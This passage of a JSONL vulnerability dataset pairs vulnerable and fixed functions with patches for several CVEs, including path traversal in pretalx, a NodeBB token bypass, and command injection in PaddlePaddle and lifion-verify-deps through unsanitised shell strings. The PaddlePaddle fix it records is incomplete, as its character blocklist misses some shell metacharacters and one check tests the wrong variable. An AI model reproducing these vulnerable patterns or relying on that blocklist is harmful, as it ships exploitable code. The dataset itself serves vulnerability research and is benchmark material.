path.parents:\n        raise CommandError(\"Path traversal detected, aborting.\")\n    path.parent.mkdir(parents=True, exist_ok=True)\n\n    with open(path, \"wb\") as f:\n        f.write(content)\n    return content"}, {"id": "fix_py_298_2", "commit": "60722c43cf975f319e94102e6bff320723776890", "file_path": "src/pretalx/agenda/management/commands/export_schedule_html.py", "start_line": 128, "end_line": 145, "snippet": "def get_mediastatic_content(url):\n    if url.startswith(settings.STATIC_URL):\n        local_path = settings.STATIC_ROOT / url[len(settings.STATIC_URL) :]\n    elif url.startswith(settings.MEDIA_URL):\n        local_path = settings.MEDIA_ROOT / url[len(settings.MEDIA_URL) :]\n    else:\n        raise FileNotFoundError()\n\n    # Prevent directory traversal, make sure the path is inside the media or static root\n    local_path = local_path.resolve(strict=True)\n    if not any(\n        path in local_path.parents\n        for path in (settings.MEDIA_ROOT, settings.STATIC_ROOT)\n    ):\n        raise FileNotFoundError()\n\n    with open(local_path, \"rb\") as f:\n        return f.read()"}], "vul_patch": "--- a/src/pretalx/agenda/management/commands/export_schedule_html.py\n+++ b/src/pretalx/agenda/management/commands/export_schedule_html.py\n@@ -4,7 +4,9 @@\n     if path.endswith(\"/\"):\n         path = path + \"index.html\"\n \n-    path = Path(destination) / path.lstrip(\"/\")\n+    path = (Path(destination) / path.lstrip(\"/\")).resolve()\n+    if not Path(destination) in path.parents:\n+        raise CommandError(\"Path traversal detected, aborting.\")\n     path.parent.mkdir(parents=True, exist_ok=True)\n \n     with open(path, \"wb\") as f:\n\n--- a/src/pretalx/agenda/management/commands/export_schedule_html.py\n+++ b/src/pretalx/agenda/management/commands/export_schedule_html.py\n@@ -6,5 +6,13 @@\n     else:\n         raise FileNotFoundError()\n \n+    # Prevent directory traversal, make sure the path is inside the media or static root\n+    local_path = local_path.resolve(strict=True)\n+    if not any(\n+        path in local_path.parents\n+        for path in (settings.MEDIA_ROOT, settings.STATIC_ROOT)\n+    ):\n+        raise FileNotFoundError()\n+\n     with open(local_path, \"rb\") as f:\n         return f.read()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-43786", "cve_description": "Nodebb is an open source Node.js based forum software. In affected versions incorrect logic present in the token verification step unintentionally allowed master token access to the API. The vulnerability has been patch as of v1.18.5. Users are advised to upgrade as soon as possible.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/NodeBB/NodeBB", "patch_url": ["https://github.com/NodeBB/NodeBB/commit/04dab1d550cdebf4c1567bca9a51f8b9ca48a500"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_247_1", "commit": "1783f91", "file_path": "src/routes/authentication.js", "start_line": 46, "end_line": 68, "snippet": "Auth.verifyToken = async function (token, done) {\n\tlet { tokens = [] } = await meta.settings.get('core.api');\n\ttokens = tokens.reduce((memo, cur) => {\n\t\tmemo[cur.token] = cur.uid;\n\t\treturn memo;\n\t}, {});\n\n\tconst uid = tokens[token];\n\n\tif (uid !== undefined) {\n\t\tif (parseInt(uid, 10) > 0) {\n\t\t\tdone(null, {\n\t\t\t\tuid: uid,\n\t\t\t});\n\t\t} else {\n\t\t\tdone(null, {\n\t\t\t\tmaster: true,\n\t\t\t});\n\t\t}\n\t} else {\n\t\tdone(false);\n\t}\n};"}], "fix_func": [{"id": "fix_js_247_1", "commit": "04dab1d550cdebf4c1567bca9a51f8b9ca48a500", "file_path": "src/routes/authentication.js", "start_line": 46, "end_line": 64, "snippet": "Auth.verifyToken = async function (token, done) {\n\tconst { tokens = [] } = await meta.settings.get('core.api');\n\tconst tokenObj = tokens.find(t => t.token === token);\n\tconst uid = tokenObj ? tokenObj.uid : undefined;\n\n\tif (uid !== undefined) {\n\t\tif (parseInt(uid, 10) > 0) {\n\t\t\tdone(null, {\n\t\t\t\tuid: uid,\n\t\t\t});\n\t\t} else {\n\t\t\tdone(null, {\n\t\t\t\tmaster: true,\n\t\t\t});\n\t\t}\n\t} else {\n\t\tdone(false);\n\t}\n};"}], "vul_patch": "--- a/src/routes/authentication.js\n+++ b/src/routes/authentication.js\n@@ -1,11 +1,7 @@\n Auth.verifyToken = async function (token, done) {\n-\tlet { tokens = [] } = await meta.settings.get('core.api');\n-\ttokens = tokens.reduce((memo, cur) => {\n-\t\tmemo[cur.token] = cur.uid;\n-\t\treturn memo;\n-\t}, {});\n-\n-\tconst uid = tokens[token];\n+\tconst { tokens = [] } = await meta.settings.get('core.api');\n+\tconst tokenObj = tokens.find(t => t.token === token);\n+\tconst uid = tokenObj ? tokenObj.uid : undefined;\n \n \tif (uid !== undefined) {\n \t\tif (parseInt(uid, 10) > 0) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-52310", "cve_description": "PaddlePaddle before 2.6.0 has a command injection in get_online_pass_interval. This resulted in the ability to execute arbitrary commands on the operating system.\n\n\n\n\n\n\n\n", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/PaddlePaddle/Paddle", "patch_url": ["https://github.com/PaddlePaddle/Paddle/commit/49bec176053595975c1941cff9749c55f7203ea9"], "programing_language": "Python", "vul_func": [{"id": "vul_py_371_1", "commit": "5252c5d358807edcb5b61b06e4853b894478c0bf", "file_path": "python/paddle/incubate/distributed/fleet/fleet_util.py", "start_line": 1290, "end_line": 1353, "snippet": "    def get_online_pass_interval(\n        self, days, hours, split_interval, split_per_pass, is_data_hourly_placed\n    ):\n        \"\"\"\n        get online pass interval\n\n        Args:\n            days(str): days to train\n            hours(str): hours to train\n            split_interval(int|str): split interval\n            split_per_pass(int}str): split per pass\n            is_data_hourly_placed(bool): is data hourly placed\n\n        Returns:\n            online_pass_interval(list)\n\n        Examples:\n            .. code-block:: python\n\n                >>> # doctest: +REQUIRES(env:DISTRIBUTED)\n                >>> from paddle.incubate.distributed.fleet.fleet_util import FleetUtil\n                >>> fleet_util = FleetUtil()\n                >>> online_pass_interval = fleet_util.get_online_pass_interval(\n                ...     days=\"{20190720..20190729}\",\n                ...     hours=\"{0..23}\",\n                ...     split_interval=5,\n                ...     split_per_pass=2,\n                ...     is_data_hourly_placed=False)\n\n        \"\"\"\n        days = os.popen(\"echo -n \" + days).read().split(\" \")\n        hours = os.popen(\"echo -n \" + hours).read().split(\" \")\n        split_interval = int(split_interval)\n        split_per_pass = int(split_per_pass)\n        splits_per_day = (\n            (int(hours[-1]) - int(hours[0]) + 1) * 60 // split_interval\n        )\n        pass_per_day = splits_per_day // split_per_pass\n        left_train_hour = int(hours[0])\n        right_train_hour = int(hours[-1])\n\n        start = 0\n        split_path = []\n        for i in range(splits_per_day):\n            h = start // 60\n            m = start % 60\n            if h < left_train_hour or h > right_train_hour:\n                start += split_interval\n                continue\n            if is_data_hourly_placed:\n                split_path.append(\"%02d\" % h)\n            else:\n                split_path.append(\"%02d%02d\" % (h, m))\n            start += split_interval\n\n        start = 0\n        online_pass_interval = []\n        for i in range(pass_per_day):\n            online_pass_interval.append([])\n            for j in range(start, start + split_per_pass):\n                online_pass_interval[i].append(split_path[j])\n            start += split_per_pass\n\n        return online_pass_interval"}], "fix_func": [{"id": "fix_py_371_1", "commit": "49bec176053595975c1941cff9749c55f7203ea9", "file_path": "python/paddle/incubate/distributed/fleet/fleet_util.py", "start_line": 1290, "end_line": 1369, "snippet": "    def get_online_pass_interval(\n        self, days, hours, split_interval, split_per_pass, is_data_hourly_placed\n    ):\n        \"\"\"\n        get online pass interval\n\n        Args:\n            days(str): days to train\n            hours(str): hours to train\n            split_interval(int|str): split interval\n            split_per_pass(int}str): split per pass\n            is_data_hourly_placed(bool): is data hourly placed\n\n        Returns:\n            online_pass_interval(list)\n\n        Examples:\n            .. code-block:: python\n\n                >>> # doctest: +REQUIRES(env:DISTRIBUTED)\n                >>> from paddle.incubate.distributed.fleet.fleet_util import FleetUtil\n                >>> fleet_util = FleetUtil()\n                >>> online_pass_interval = fleet_util.get_online_pass_interval(\n                ...     days=\"{20190720..20190729}\",\n                ...     hours=\"{0..23}\",\n                ...     split_interval=5,\n                ...     split_per_pass=2,\n                ...     is_data_hourly_placed=False)\n\n        \"\"\"\n        assert (\n            \"|\" not in days\n            and \";\" not in days\n            and \"\\\\\" not in days\n            and \"/\" not in days\n            and \"(\" not in days\n            and \")\" not in days\n        ), r\"days should not contain [|,;,\\,/,(,)]\"\n        days = os.popen(\"echo -n \" + days).read().split(\" \")\n        assert (\n            \"|\" not in hours\n            and \";\" not in hours\n            and \"\\\\\" not in hours\n            and \"/\" not in hours\n            and \"(\" not in hours\n            and \")\" not in days\n        ), r\"hours should not contain [|,;,\\,/,(,)]\"\n        hours = os.popen(\"echo -n \" + hours).read().split(\" \")\n        split_interval = int(split_interval)\n        split_per_pass = int(split_per_pass)\n        splits_per_day = (\n            (int(hours[-1]) - int(hours[0]) + 1) * 60 // split_interval\n        )\n        pass_per_day = splits_per_day // split_per_pass\n        left_train_hour = int(hours[0])\n        right_train_hour = int(hours[-1])\n\n        start = 0\n        split_path = []\n        for i in range(splits_per_day):\n            h = start // 60\n            m = start % 60\n            if h < left_train_hour or h > right_train_hour:\n                start += split_interval\n                continue\n            if is_data_hourly_placed:\n                split_path.append(\"%02d\" % h)\n            else:\n                split_path.append(\"%02d%02d\" % (h, m))\n            start += split_interval\n\n        start = 0\n        online_pass_interval = []\n        for i in range(pass_per_day):\n            online_pass_interval.append([])\n            for j in range(start, start + split_per_pass):\n                online_pass_interval[i].append(split_path[j])\n            start += split_per_pass\n\n        return online_pass_interval"}], "vul_patch": "--- a/python/paddle/incubate/distributed/fleet/fleet_util.py\n+++ b/python/paddle/incubate/distributed/fleet/fleet_util.py\n@@ -28,7 +28,23 @@\n                 ...     is_data_hourly_placed=False)\n \n         \"\"\"\n+        assert (\n+            \"|\" not in days\n+            and \";\" not in days\n+            and \"\\\\\" not in days\n+            and \"/\" not in days\n+            and \"(\" not in days\n+            and \")\" not in days\n+        ), r\"days should not contain [|,;,\\,/,(,)]\"\n         days = os.popen(\"echo -n \" + days).read().split(\" \")\n+        assert (\n+            \"|\" not in hours\n+            and \";\" not in hours\n+            and \"\\\\\" not in hours\n+            and \"/\" not in hours\n+            and \"(\" not in hours\n+            and \")\" not in days\n+        ), r\"hours should not contain [|,;,\\,/,(,)]\"\n         hours = os.popen(\"echo -n \" + hours).read().split(\" \")\n         split_interval = int(split_interval)\n         split_per_pass = int(split_per_pass)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-47821", "cve_description": "pyLoad is a free and open-source Download Manager. The folder `/.pyload/scripts` has scripts which are run when certain actions are completed, for e.g. a download is finished. By downloading a executable file to a folder in /scripts and performing the respective action, remote code execution can be achieved in versions prior to 0.5.0b3.dev87. A file can be downloaded to such a folder by changing the download folder to a folder in `/scripts` path and using the `/flashgot` API to download the file. This vulnerability allows an attacker with access to change the settings on a pyload server to execute arbitrary code and completely compromise the system. Version 0.5.0b3.dev87 fixes this issue.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/pyload/pyload", "patch_url": ["https://github.com/pyload/pyload/commit/48f59567393a19263c8a0285256a7537dc9ce109"], "programing_language": "Python", "vul_func": [{"id": "vul_py_311_1", "commit": "946c256", "file_path": "src/pyload/core/__init__.py", "start_line": 114, "end_line": 144, "snippet": "    def _init_config(self, userdir, tempdir, storagedir, debug):\n        from .config.parser import ConfigParser\n\n        self.userdir = os.path.realpath(userdir)\n        self.tempdir = os.path.realpath(tempdir)\n        os.makedirs(self.userdir, exist_ok=True)\n        os.makedirs(self.tempdir, exist_ok=True)\n\n        self.config = ConfigParser(self.userdir)\n\n        if debug is None:\n            if self.config.get(\"general\", \"debug_mode\"):\n                debug_level = self.config.get(\"general\", \"debug_level\")\n                self._debug = self.DEBUG_LEVEL_MAP[debug_level]\n        else:\n            self._debug = max(0, int(debug))\n\n        # If no argument set, read storage dir from config file,\n        # otherwise save setting to config dir\n        if storagedir is None:\n            storagedir = self.config.get(\"general\", \"storage_folder\")\n            # Make sure storage_folder is not empty\n            if not storagedir:\n                self.config.set(\"general\", \"storage_folder\", \"~/Downloads/pyLoad\")\n                storagedir = self.config.get(\"general\", \"storage_folder\")\n        else:\n            self.config.set(\"general\", \"storage_folder\", storagedir)\n        os.makedirs(storagedir, exist_ok=True)\n\n        if not self._dry_run:\n            self.config.save()  #: save so config files gets filled"}, {"id": "vul_py_311_2", "commit": "946c256", "file_path": "src/pyload/core/api/__init__.py", "start_line": 174, "end_line": 197, "snippet": "    def set_config_value(self, category, option, value, section=\"core\"):\n        \"\"\"\n        Set new config value.\n\n        :param category:\n        :param option:\n        :param value: new config value\n        :param section: 'plugin' or 'core\n        \"\"\"\n        self.pyload.addon_manager.dispatch_event(\n            \"config_changed\", category, option, value, section\n        )\n\n        if section == \"core\":\n            self.pyload.config[category][option] = value\n\n            if option in (\n                \"limit_speed\",\n                \"max_speed\",\n            ):  #: not so nice to update the limit\n                self.pyload.request_factory.update_bucket()\n\n        elif section == \"plugin\":\n            self.pyload.config.set_plugin(category, option, value)"}, {"id": "vul_py_311_3", "commit": "946c256", "file_path": "src/pyload/webui/app/blueprints/json_blueprint.py", "start_line": 262, "end_line": 282, "snippet": "def save_config():\n    api = flask.current_app.config[\"PYLOAD_API\"]\n    category = flask.request.args.get('category')\n    if category not in (\"core\", \"plugin\"):\n        return jsonify(False), 500\n\n    for key, value in flask.request.form.items():\n        try:\n            section, option = key.split(\"|\")\n        except Exception:\n            continue\n\n        if section == 'general' and option=='storage_folder':\n            abs_path_value = os.path.join(os.path.abspath(value).lower(), \"\")\n            abs_PKGDIR = os.path.join(os.path.abspath(PKGDIR).lower(), \"\")\n            if abs_path_value.startswith(abs_PKGDIR):\n                continue\n\n        api.set_config_value(section, option, value, category)\n\n    return jsonify(True)"}], "fix_func": [{"id": "fix_py_311_1", "commit": "48f59567393a19263c8a0285256a7537dc9ce109", "file_path": "src/pyload/core/__init__.py", "start_line": 114, "end_line": 155, "snippet": "    def _init_config(self, userdir, tempdir, storagedir, debug):\n        from .config.parser import ConfigParser\n\n        self.userdir = os.path.realpath(userdir)\n        self.tempdir = os.path.realpath(tempdir)\n        os.makedirs(self.userdir, exist_ok=True)\n        os.makedirs(self.tempdir, exist_ok=True)\n\n        self.config = ConfigParser(self.userdir)\n\n        if debug is None:\n            if self.config.get(\"general\", \"debug_mode\"):\n                debug_level = self.config.get(\"general\", \"debug_level\")\n                self._debug = self.DEBUG_LEVEL_MAP[debug_level]\n        else:\n            self._debug = max(0, int(debug))\n\n        # If no argument set, read storage dir from config file,\n        # otherwise save setting to config dir\n        if storagedir is None:\n            storagedir = self.config.get(\"general\", \"storage_folder\")\n\n        else:\n            self.config.set(\"general\", \"storage_folder\", storagedir)\n\n        # Make sure storage_folder is not empty\n        # and also not inside dangerous locations\n        correct_case = lambda x: x.lower() if os.name == \"nt\" else x\n        directories = [\n            correct_case(os.path.join(os.path.realpath(d), \"\") )\n            for d in [storagedir or PKGDIR, PKGDIR, userdir]\n        ]\n        is_bad_dir = any(directories[0].startswith(d) for d in directories[1:])\n\n        if not storagedir or is_bad_dir:\n            self.config.set(\"general\", \"storage_folder\", \"~/Downloads/pyLoad\")\n            storagedir = self.config.get(\"general\", \"storage_folder\")\n\n        os.makedirs(storagedir, exist_ok=True)\n\n        if not self._dry_run:\n            self.config.save()  #: save so config files gets filled"}, {"id": "fix_py_311_2", "commit": "48f59567393a19263c8a0285256a7537dc9ce109", "file_path": "src/pyload/core/api/__init__.py", "start_line": 176, "end_line": 209, "snippet": "    def set_config_value(self, category, option, value, section=\"core\"):\n        \"\"\"\n        Set new config value.\n\n        :param category:\n        :param option:\n        :param value: new config value\n        :param section: 'plugin' or 'core\n        \"\"\"\n        self.pyload.addon_manager.dispatch_event(\n            \"config_changed\", category, option, value, section\n        )\n\n        if section == \"core\":\n            if category == \"general\" and option == \"storage_folder\":\n                # Forbid setting the download folder inside dangerous locations\n                correct_case = lambda x: x.lower() if os.name == \"nt\" else x\n                directories = [\n                    correct_case(os.path.join(os.path.realpath(d), \"\"))\n                    for d in [value, PKGDIR, self.pyload.userdir]\n                ]\n                if any(directories[0].startswith(d) for d in directories[1:]):\n                    return\n\n            self.pyload.config.set(category, option, value)\n\n            if category == \"download\" and option in (\n                \"limit_speed\",\n                \"max_speed\",\n            ):  #: not such a nice method to update the limit\n                self.pyload.request_factory.update_bucket()\n\n        elif section == \"plugin\":\n            self.pyload.config.set_plugin(category, option, value)"}, {"id": "fix_py_311_3", "commit": "48f59567393a19263c8a0285256a7537dc9ce109", "file_path": "src/pyload/webui/app/blueprints/json_blueprint.py", "start_line": 262, "end_line": 276, "snippet": "def save_config():\n    api = flask.current_app.config[\"PYLOAD_API\"]\n    category = flask.request.args.get('category')\n    if category not in (\"core\", \"plugin\"):\n        return jsonify(False), 500\n\n    for key, value in flask.request.form.items():\n        try:\n            section, option = key.split(\"|\")\n        except ValueError:\n            continue\n\n        api.set_config_value(section, option, value, category)\n\n    return jsonify(True)"}], "vul_patch": "--- a/src/pyload/core/__init__.py\n+++ b/src/pyload/core/__init__.py\n@@ -19,12 +19,23 @@\n         # otherwise save setting to config dir\n         if storagedir is None:\n             storagedir = self.config.get(\"general\", \"storage_folder\")\n-            # Make sure storage_folder is not empty\n-            if not storagedir:\n-                self.config.set(\"general\", \"storage_folder\", \"~/Downloads/pyLoad\")\n-                storagedir = self.config.get(\"general\", \"storage_folder\")\n+\n         else:\n             self.config.set(\"general\", \"storage_folder\", storagedir)\n+\n+        # Make sure storage_folder is not empty\n+        # and also not inside dangerous locations\n+        correct_case = lambda x: x.lower() if os.name == \"nt\" else x\n+        directories = [\n+            correct_case(os.path.join(os.path.realpath(d), \"\") )\n+            for d in [storagedir or PKGDIR, PKGDIR, userdir]\n+        ]\n+        is_bad_dir = any(directories[0].startswith(d) for d in directories[1:])\n+\n+        if not storagedir or is_bad_dir:\n+            self.config.set(\"general\", \"storage_folder\", \"~/Downloads/pyLoad\")\n+            storagedir = self.config.get(\"general\", \"storage_folder\")\n+\n         os.makedirs(storagedir, exist_ok=True)\n \n         if not self._dry_run:\n\n--- a/src/pyload/core/api/__init__.py\n+++ b/src/pyload/core/api/__init__.py\n@@ -12,12 +12,22 @@\n         )\n \n         if section == \"core\":\n-            self.pyload.config[category][option] = value\n+            if category == \"general\" and option == \"storage_folder\":\n+                # Forbid setting the download folder inside dangerous locations\n+                correct_case = lambda x: x.lower() if os.name == \"nt\" else x\n+                directories = [\n+                    correct_case(os.path.join(os.path.realpath(d), \"\"))\n+                    for d in [value, PKGDIR, self.pyload.userdir]\n+                ]\n+                if any(directories[0].startswith(d) for d in directories[1:]):\n+                    return\n \n-            if option in (\n+            self.pyload.config.set(category, option, value)\n+\n+            if category == \"download\" and option in (\n                 \"limit_speed\",\n                 \"max_speed\",\n-            ):  #: not so nice to update the limit\n+            ):  #: not such a nice method to update the limit\n                 self.pyload.request_factory.update_bucket()\n \n         elif section == \"plugin\":\n\n--- a/src/pyload/webui/app/blueprints/json_blueprint.py\n+++ b/src/pyload/webui/app/blueprints/json_blueprint.py\n@@ -7,14 +7,8 @@\n     for key, value in flask.request.form.items():\n         try:\n             section, option = key.split(\"|\")\n-        except Exception:\n+        except ValueError:\n             continue\n-\n-        if section == 'general' and option=='storage_folder':\n-            abs_path_value = os.path.join(os.path.abspath(value).lower(), \"\")\n-            abs_PKGDIR = os.path.join(os.path.abspath(PKGDIR).lower(), \"\")\n-            if abs_path_value.startswith(abs_PKGDIR):\n-                continue\n \n         api.set_config_value(section, option, value, category)\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-34078", "cve_description": "lifion-verify-dependencies through 1.1.0 is vulnerable to OS command injection via a crafted dependency name on the scanned project's package.json file.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/lifion/lifion-verify-deps", "patch_url": ["https://github.com/lifion/lifion-verify-deps/commit/be1133d5b78e3caa0004fa60207013dca4e1bf38"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_260_1", "commit": "8468537", "file_path": "lib/index.js", "start_line": 15, "end_line": 22, "snippet": "async function getLatestVersions(name) {\n  const { stdout } = await execAsync(`npm view ${name} versions --json`);\n  try {\n    return JSON.parse(stdout);\n  } catch (err) {\n    throw new Error(`Failed to parse output from NPM view - ${err.toString()}`);\n  }\n}"}, {"id": "vul_js_260_2", "commit": "8468537", "file_path": "lib/index.js", "start_line": 24, "end_line": 32, "snippet": "async function getLatestTag(name) {\n  try {\n    const { stdout } = await execAsync(`npm view ${name} dist-tags --json`);\n    const { latest } = JSON.parse(stdout);\n    return latest;\n  } catch (err) {\n    throw new Error(`Failed to parse output from NPM view - ${err.toString()}`);\n  }\n}"}], "fix_func": [{"id": "fix_js_260_1", "commit": "be1133d5b78e3caa0004fa60207013dca4e1bf38", "file_path": "lib/index.js", "start_line": 23, "end_line": 31, "snippet": "async function getLatestVersions(name) {\n  isValidNpmPackageName(name);\n  const { stdout } = await execAsync(`npm view ${name} versions --json`);\n  try {\n    return JSON.parse(stdout);\n  } catch (err) {\n    throw new Error(`Failed to parse output from NPM view - ${err.toString()}`);\n  }\n}"}, {"id": "fix_js_260_2", "commit": "be1133d5b78e3caa0004fa60207013dca4e1bf38", "file_path": "lib/index.js", "start_line": 33, "end_line": 42, "snippet": "async function getLatestTag(name) {\n  isValidNpmPackageName(name);\n  try {\n    const { stdout } = await execAsync(`npm view ${name} dist-tags --json`);\n    const { latest } = JSON.parse(stdout);\n    return latest;\n  } catch (err) {\n    throw new Error(`Failed to parse output from NPM view - ${err.toString()}`);\n  }\n}"}, {"id": "fix_js_260_3", "commit": "be1133d5b78e3caa0004fa60207013dca4e1bf38", "file_path": "lib/index.js", "start_line": 16, "end_line": 22, "snippet": "function isValidNpmPackageName(name) {\n  const { errors } = validatePackageName(name);\n  if (errors) {\n    throw new Error(`NPM package name: \"${name}\" is invalid. ${errors}`);\n  }\n}\n"}, {"id": "fix_js_260_4", "commit": "be1133d5b78e3caa0004fa60207013dca4e1bf38", "file_path": "lib/index.js", "start_line": 12, "end_line": 12, "snippet": "const validatePackageName = require('validate-npm-package-name');"}], "vul_patch": "--- a/lib/index.js\n+++ b/lib/index.js\n@@ -1,4 +1,5 @@\n async function getLatestVersions(name) {\n+  isValidNpmPackageName(name);\n   const { stdout } = await execAsync(`npm view ${name} versions --json`);\n   try {\n     return JSON.parse(stdout);\n\n--- a/lib/index.js\n+++ b/lib/index.js\n@@ -1,4 +1,5 @@\n async function getLatestTag(name) {\n+  isValidNpmPackageName(name);\n   try {\n     const { stdout } = await execAsync(`npm view ${name} dist-tags --json`);\n     const { latest } = JSON.parse(stdout);\n\n--- /dev/null\n+++ b/lib/index.js\n@@ -0,0 +1,6 @@\n+function isValidNpmPackageName(name) {\n+  const { errors } = validatePackageName(name);\n+  if (errors) {\n+    throw new Error(`NPM package name: \"${name}\" is invalid. ${errors}`);\n+  }\n+}\n\n--- /dev/null\n+++ b/lib/index.js\n@@ -0,0 +1 @@\n+const validatePackageName = require('validate-npm-package-name');\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-47930", "cve_description": "Zulip is an open-source team chat application. Starting in version 10.0 and prior to version 10.3, the \"Who can create public channels\" access control mechanism can be circumvented by creating a private or web-public channel, and then changing the channel privacy to public. A similar technique works for creating private channels without permission, though such a process requires either the API or modifying the HTML, as we do mark the \"private\" radio button as disabled in such cases. Version 10.3 contains a patch.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/zulip/zulip", "patch_url": ["https://github.com/zulip/zulip/commit/d2ff4bda4c3efa30fc3ab1f151255cfdbf370f78"], "programing_language": "Python", "vul_func": [{"id": "vul_py_75_1", "commit": "d3b9dfa", "file_path": "zerver/views/streams.py", "start_line": "259", "end_line": "455", "snippet": "def update_stream_backend(\n    request: HttpRequest,\n    user_profile: UserProfile,\n    *,\n    stream_id: PathOnly[int],\n    description: Annotated[str, StringConstraints(max_length=Stream.MAX_DESCRIPTION_LENGTH)]\n    | None = None,\n    is_private: Json[bool] | None = None,\n    is_default_stream: Json[bool] | None = None,\n    history_public_to_subscribers: Json[bool] | None = None,\n    is_web_public: Json[bool] | None = None,\n    new_name: str | None = None,\n    message_retention_days: Json[str] | Json[int] | None = None,\n    can_add_subscribers_group: Json[GroupSettingChangeRequest] | None = None,\n    can_administer_channel_group: Json[GroupSettingChangeRequest] | None = None,\n    can_send_message_group: Json[GroupSettingChangeRequest] | None = None,\n    can_remove_subscribers_group: Json[GroupSettingChangeRequest] | None = None,\n    can_subscribe_group: Json[GroupSettingChangeRequest] | None = None,\n) -> HttpResponse:\n    # Most settings updates only require metadata access, not content\n    # access. We will check for content access further when and where\n    # required.\n    (stream, sub) = access_stream_for_delete_or_update_requiring_metadata_access(\n        user_profile, stream_id\n    )\n    user_group_membership_details = UserGroupMembershipDetails(user_recursive_group_ids=None)\n\n    # Validate that the proposed state for permissions settings is permitted.\n    if is_private is not None:\n        proposed_is_private = is_private\n    else:\n        proposed_is_private = stream.invite_only\n\n    if is_web_public is not None:\n        proposed_is_web_public = is_web_public\n    else:\n        proposed_is_web_public = stream.is_web_public\n\n    if is_default_stream is not None:\n        proposed_is_default_stream = is_default_stream\n    else:\n        default_stream_ids = get_default_stream_ids_for_realm(stream.realm_id)\n        proposed_is_default_stream = stream.id in default_stream_ids\n\n    if stream.realm.is_zephyr_mirror_realm:\n        # In the Zephyr mirroring model, history is unconditionally\n        # not public to subscribers, even for public streams.\n        proposed_history_public_to_subscribers = False\n    elif history_public_to_subscribers is not None:\n        proposed_history_public_to_subscribers = history_public_to_subscribers\n    elif is_private is not None:\n        # By default, private streams have protected history while for\n        # public streams history is public by default.\n        proposed_history_public_to_subscribers = not is_private\n    else:\n        proposed_history_public_to_subscribers = stream.history_public_to_subscribers\n\n    # Web-public streams must have subscriber-public history.\n    if proposed_is_web_public and not proposed_history_public_to_subscribers:\n        raise JsonableError(_(\"Invalid parameters\"))\n\n    # Web-public streams must not be private.\n    if proposed_is_web_public and proposed_is_private:\n        raise JsonableError(_(\"Invalid parameters\"))\n\n    # Public streams must be public to subscribers.\n    if not proposed_is_private and not proposed_history_public_to_subscribers:\n        if stream.realm.is_zephyr_mirror_realm:\n            # All Zephyr realm streams violate this rule.\n            pass\n        else:\n            raise JsonableError(_(\"Invalid parameters\"))\n\n    # Ensure that a stream cannot be both a default stream for new users and private\n    if proposed_is_private and proposed_is_default_stream:\n        raise JsonableError(_(\"A default channel cannot be private.\"))\n\n    # Ensure that a moderation request channel isn't set to public.\n    if not proposed_is_private and user_profile.realm.moderation_request_channel == stream:\n        raise JsonableError(_(\"Moderation request channel must be private.\"))\n\n    if is_private is not None and not user_has_content_access(\n        user_profile,\n        stream,\n        user_group_membership_details,\n        is_subscribed=sub is not None,\n    ):\n        raise JsonableError(_(\"Channel content access is required.\"))\n        # In addition to channel administration permissions, changing\n        # public/private status for channels requires content access\n        # to the channel.\n\n    # Enforce restrictions on creating web-public streams. Since these\n    # checks are only required when changing a stream to be\n    # web-public, we don't use an \"is not None\" check.\n    if is_web_public:\n        if not user_profile.realm.web_public_streams_enabled():\n            raise JsonableError(_(\"Web-public channels are not enabled.\"))\n        if not user_profile.can_create_web_public_streams():\n            raise JsonableError(_(\"Insufficient permission\"))\n\n    if (\n        is_private is not None\n        or is_web_public is not None\n        or history_public_to_subscribers is not None\n    ):\n        do_change_stream_permission(\n            stream,\n            invite_only=proposed_is_private,\n            history_public_to_subscribers=proposed_history_public_to_subscribers,\n            is_web_public=proposed_is_web_public,\n            acting_user=user_profile,\n        )\n\n    if 